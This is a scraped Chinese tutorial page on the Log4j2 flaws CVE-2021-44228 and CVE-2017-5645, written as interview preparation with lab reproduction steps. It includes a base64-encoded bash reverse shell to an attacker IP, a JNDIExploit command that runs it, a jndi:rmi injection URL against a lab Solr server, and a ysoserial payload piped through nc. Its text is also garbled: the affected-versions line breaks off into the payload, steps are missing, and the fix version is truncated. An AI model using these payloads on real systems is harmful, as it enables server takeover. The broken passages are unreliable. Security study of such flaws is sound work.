一文读懂面试官都在问的Log4J2漏洞 您所在的位置:网站首页 log4j漏洞攻击者可以 一文读懂面试官都在问的Log4J2漏洞

一文读懂面试官都在问的Log4J2漏洞

2024-01-19 07:25| 来源: 网络整理| 查看: 265

CVE-2021-44228 漏洞简介

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用

例如当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy},此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。

表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。

其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。

漏洞适用版本:2.0 &1 ​ YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy

(2)使用JNDIExploit进行漏洞利用,将上述Base64编码结果 填入指定位置

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i} -A "攻击机IP" ​ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy}|{base64,-d}|{bash,-i}" -A "192.168.0.113"

image-20230405235528644

(3)在攻击机开启监听

image-20230405235541328

(4)修改Payload

使用刚刚JNDIExploit生成的Payload,如果不成功可以把生成的五个Payload都尝试一下

 http://192.168.72.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.0.113:1099/t9c5yy}

(5)成功反弹Shell

image-20230405235711849

(6)修复建议

更新log4j至 rc2

配置防火墙策略,禁止主动连接外网设备

升级受影响的应用及组件

过滤相关的关键词,比如${jndi://*}

限制JNDI默认可以使用的协议

限制可以通过LDAP访问的服务器和类

CVE-2017-5645 漏洞简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码

攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。

漏洞复现 1、访问靶机

image-20230411152521516

环境启动后,会在4712端口开启一个TCPserver。

 

image-20230411152740336

2、payload生成

用ysoserial生成payload,然后直接发送给被害者主机就可以

 java -jar ysoserial.jar CommonsCollections5 "touch /tmp/YikJiang" | nc 192.168.72.128 4712 3、进入容器查看  docker exec -it a580281f7196 /bin/bash

 



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有